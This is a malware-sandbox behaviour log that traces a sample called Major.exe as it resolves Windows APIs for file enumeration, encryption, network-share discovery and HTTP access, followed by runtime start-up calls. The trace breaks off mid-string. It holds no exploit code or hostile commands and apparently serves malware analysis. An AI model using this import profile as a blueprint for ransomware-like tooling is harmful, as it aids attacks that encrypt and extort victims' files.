# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 3 2019 14:51:36 # Log Creation Date: 04.05.2019 07:12:35.020 Process: id = "1" image_name = "major.exe" filename = "c:\\users\\fd1hvy\\desktop\\major.exe" page_root = "0x7931000" os_pid = "0xdc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\Major.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xc58 [0075.691] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x75e90000 [0075.691] GetProcAddress (hModule=0x75e90000, lpProcName="OutputDebugStringW") returned 0x75ea5d10 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="FindResourceW") returned 0x75ea4aa0 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="GetDriveTypeW") returned 0x75efeed0 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="GetWindowsDirectoryW") returned 0x75ea5730 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileW") returned 0x75eff3b0 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="SetPriorityClass") returned 0x75ea65c0 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="GetConsoleWindow") returned 0x75ee9b20 [0075.692] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointer") returned 0x75eff120 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileExW") returned 0x75ea4370 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryW") returned 0x75ea5ae0 [0075.693] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDriveStringsW") returned 0x75efefb0 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcatW") returned 0x75ee71a0 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemInfo") returned 0x75ea54d0 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="SizeofResource") returned 0x75ea6740 [0075.694] GetProcAddress (hModule=0x75e90000, lpProcName="LoadResource") returned 0x75ea5b00 [0075.695] GetProcAddress (hModule=0x75e90000, lpProcName="UnregisterWaitEx") returned 0x75ea6910 [0075.695] GetProcAddress (hModule=0x75e90000, lpProcName="QueryDepthSList") returned 0x77c152d0 [0075.695] GetProcAddress (hModule=0x75e90000, lpProcName="InterlockedPopEntrySList") returned 0x77bf5840 [0075.695] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseSemaphore") returned 0x75efec30 [0075.695] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualProtect") returned 0x75ea6a30 [0075.695] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualFree") returned 0x75ea69d0 [0075.695] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualAlloc") returned 0x75ea6970 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersionExW") returned 0x75ea56f0 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadTimes") returned 0x75ea55e0 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="UnregisterWait") returned 0x75edc850 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="LocalFree") returned 0x75ea5b40 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0075.696] GetProcAddress (hModule=0x75e90000, lpProcName="LockResource") returned 0x75ea5bc0 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="SetEvent") returned 0x75efec50 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="ResetEvent") returned 0x75efec40 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObjectEx") returned 0x75efecb0 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="CreateEventW") returned 0x75efeb30 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="IsProcessorFeaturePresent") returned 0x75ea5960 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0075.697] GetProcAddress (hModule=0x75e90000, lpProcName="UnhandledExceptionFilter") returned 0x75ea68d0 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="SetUnhandledExceptionFilter") returned 0x75ea6720 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="GetStartupInfoW") returned 0x75ea5320 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentThreadId") returned 0x75ea8820 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTimeAsFileTime") returned 0x75ea5530 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeSListHead") returned 0x77c16680 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="MultiByteToWideChar") returned 0x75ea5c40 [0075.698] GetProcAddress (hModule=0x75e90000, lpProcName="GetStringTypeW") returned 0x75ea53b0 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="DuplicateHandle") returned 0x75efeac0 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentThread") returned 0x75ea8810 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="GetExitCodeThread") returned 0x75ea4ff0 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="TryEnterCriticalSection") returned 0x77c0aae0 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="SetLastError") returned 0x75ea4f00 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="TlsAlloc") returned 0x75ea6820 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="TlsGetValue") returned 0x75ea6850 [0075.699] GetProcAddress (hModule=0x75e90000, lpProcName="TlsSetValue") returned 0x75ea6870 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="TlsFree") returned 0x75ea6830 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="LCMapStringW") returned 0x75ea5a60 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoW") returned 0x75ea5040 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="GetCPInfo") returned 0x75ea4d10 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="RaiseException") returned 0x75ea5e20 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="RtlUnwind") returned 0x75ea7c10 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibrary") returned 0x75ea4c40 [0075.700] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryExW") returned 0x75ea5ac0 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="InterlockedPushEntrySList") returned 0x77bf2810 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="InterlockedFlushSList") returned 0x77c12a20 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleExW") returned 0x75ea5110 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameA") returned 0x75ea5070 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="GetStdHandle") returned 0x75ea5330 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineA") returned 0x75ea4cb0 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="GetACP") returned 0x75ea4ca0 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0075.701] GetProcAddress (hModule=0x75e90000, lpProcName="ExitThread") returned 0x77c16390 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibraryAndExitThread") returned 0x75ea4c60 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileType") returned 0x75efef60 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="IsValidLocale") returned 0x75ea5a00 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="GetUserDefaultLCID") returned 0x75ea56a0 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="EnumSystemLocalesW") returned 0x75ea49c0 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileExA") returned 0x75efedc0 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileA") returned 0x75efee20 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="IsValidCodePage") returned 0x75ea59c0 [0075.702] GetProcAddress (hModule=0x75e90000, lpProcName="GetOEMCP") returned 0x75ea5160 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="GetEnvironmentStringsW") returned 0x75ea4eb0 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="FreeEnvironmentStringsW") returned 0x75ea4c20 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="SetEnvironmentVariableA") returned 0x75ea64c0 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="SetStdHandle") returned 0x75ea6620 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="HeapSize") returned 0x77c0a790 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="FlushFileBuffers") returned 0x75efee70 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="GetConsoleCP") returned 0x75eff440 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="GetConsoleMode") returned 0x75eff450 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0075.703] GetProcAddress (hModule=0x75e90000, lpProcName="WriteConsoleW") returned 0x75eff500 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="CreateTimerQueue") returned 0x75ea46e0 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="SignalObjectAndWait") returned 0x75ea8120 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="SwitchToThread") returned 0x75ea6790 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadPriority") returned 0x75ea66c0 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadPriority") returned 0x75ea5610 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalProcessorInformation") returned 0x75ea71b0 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="CreateTimerQueueTimer") returned 0x75ea46f0 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="ChangeTimerQueueTimer") returned 0x75ea43f0 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteTimerQueueTimer") returned 0x75ea4780 [0075.704] GetProcAddress (hModule=0x75e90000, lpProcName="GetNumaHighestNodeNumber") returned 0x75ea75e0 [0075.705] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessAffinityMask") returned 0x75ee3230 [0075.705] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadAffinityMask") returned 0x75ee6e40 [0075.705] GetProcAddress (hModule=0x75e90000, lpProcName="RegisterWaitForSingleObject") returned 0x75edc7d0 [0075.705] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x761b0000 [0075.705] GetProcAddress (hModule=0x761b0000, lpProcName="CryptDestroyKey") returned 0x761cfa60 [0075.705] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0075.705] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyW") returned 0x761cf460 [0075.705] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0075.705] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0075.705] GetProcAddress (hModule=0x761b0000, lpProcName="CryptEncrypt") returned 0x761e2cf0 [0075.705] GetProcAddress (hModule=0x761b0000, lpProcName="CryptGenRandom") returned 0x761d0730 [0075.706] GetProcAddress (hModule=0x761b0000, lpProcName="GetUserNameW") returned 0x761cf890 [0075.706] GetProcAddress (hModule=0x761b0000, lpProcName="CryptReleaseContext") returned 0x761cfbc0 [0075.706] GetProcAddress (hModule=0x761b0000, lpProcName="CryptAcquireContextW") returned 0x761cfa40 [0075.706] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0075.706] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x74940000 [0075.706] GetProcAddress (hModule=0x74940000, lpProcName="CryptImportPublicKeyInfo") returned 0x7496cfe0 [0075.706] GetProcAddress (hModule=0x74940000, lpProcName="CryptStringToBinaryW") returned 0x7495ceb0 [0075.706] GetProcAddress (hModule=0x74940000, lpProcName="CryptBinaryToStringW") returned 0x7495c670 [0075.706] GetProcAddress (hModule=0x74940000, lpProcName="CryptDecodeObjectEx") returned 0x74985e90 [0075.706] GetProcAddress (hModule=0x74940000, lpProcName="CryptBinaryToStringA") returned 0x7495c740 [0075.706] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74500000 [0075.707] GetProcAddress (hModule=0x74500000, lpProcName="WNetOpenEnumW") returned 0x74502790 [0075.707] GetProcAddress (hModule=0x74500000, lpProcName="WNetEnumResourceW") returned 0x74502410 [0075.707] GetProcAddress (hModule=0x74500000, lpProcName="WNetCloseEnum") returned 0x74502640 [0075.707] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74b70000 [0075.707] GetProcAddress (hModule=0x74b70000, lpProcName="ShowWindow") returned 0x74ba3ee0 [0075.707] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0075.707] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x74230000 [0075.707] GetProcAddress (hModule=0x74230000, lpProcName="InternetOpenW") returned 0x7434e9e0 [0075.707] GetProcAddress (hModule=0x74230000, lpProcName="HttpSendRequestW") returned 0x74359490 [0075.707] GetProcAddress (hModule=0x74230000, lpProcName="HttpQueryInfoW") returned 0x743b86e0 [0075.708] GetProcAddress (hModule=0x74230000, lpProcName="InternetCloseHandle") returned 0x7433d000 [0075.708] GetProcAddress (hModule=0x74230000, lpProcName="HttpOpenRequestW") returned 0x743abdd0 [0075.708] GetProcAddress (hModule=0x74230000, lpProcName="InternetReadFile") returned 0x74363a70 [0075.708] GetProcAddress (hModule=0x74230000, lpProcName="InternetConnectW") returned 0x7433e000 [0075.708] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x19ff60 | out: lpflOldProtect=0x19ff60*=0x2) returned 1 [0075.723] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x19ff60 | out: lpflOldProtect=0x19ff60*=0x4) returned 1 [0075.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19ff70 | out: lpSystemTimeAsFileTime=0x19ff70*(dwLowDateTime=0xec91648f, dwHighDateTime=0x1d50248)) [0075.723] GetCurrentThreadId () returned 0xc58 [0075.723] GetCurrentProcessId () returned 0xdc4 [0075.723] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff68 | out: lpPerformanceCount=0x19ff68*=14738394005) returned 1 [0075.723] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0075.723] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0075.724] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0075.724] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0075.724] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0075.724] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0075.724] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0075.724] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0075.725] GetProcessHeap () returned 0x570000 [0075.725] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0075.725] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0075.725] GetLastError () returned 0xcb [0075.725] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0075.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x364) returned 0x588b70 [0075.725] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0075.725] SetLastError (dwErrCode=0xcb) [0075.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xc00) returned 0x58af10 [0075.789] GetStartupInfoW (in: lpStartupInfo=0x19fe98 | out: lpStartupInfo=0x19fe98*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4119d0, hStdOutput=0x8362cdf5, hStdError=0xfffffffe)) [0075.789] GetStdHandle (nStdHandle=0xfffffff6) returned 0x8c [0075.789] GetFileType (hFile=0x8c) returned 0x2 [0075.790] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0075.790] GetFileType (hFile=0x90) returned 0x2 [0075.790] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0075.790] GetFileType (hFile=0x94) returned 0x2 [0075.790] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\Major.exe\" " [0075.790] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\Major.exe\" " [0075.790] GetLastError () returned 0xcb [0075.790] SetLastError (dwErrCode=0xcb) [0075.790] GetLastError () returned 0xcb [0075.790] SetLastError (dwErrCode=0xcb) [0075.790] GetACP () returned 0x4e4 [0075.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x220) returned 0x5878e8 [0075.790] IsValidCodePage (CodePage=0x4e4) returned 1 [0075.790] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fec8 | out: lpCPInfo=0x19fec8) returned 1 [0075.790] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f790 | out: lpCPInfo=0x19f790) returned 1 [0075.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0075.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x19f528, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0075.790] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19f7a4 | out: lpCharType=0x19f7a4) returned 1 [0075.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0075.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x19f4d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0075.790] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0075.790] GetProcAddress (hModule=0x74ea0000, lpProcName="LCMapStringEx") returned 0x74f7ed00 [0075.790] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0075.790] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f2c8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0075.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" 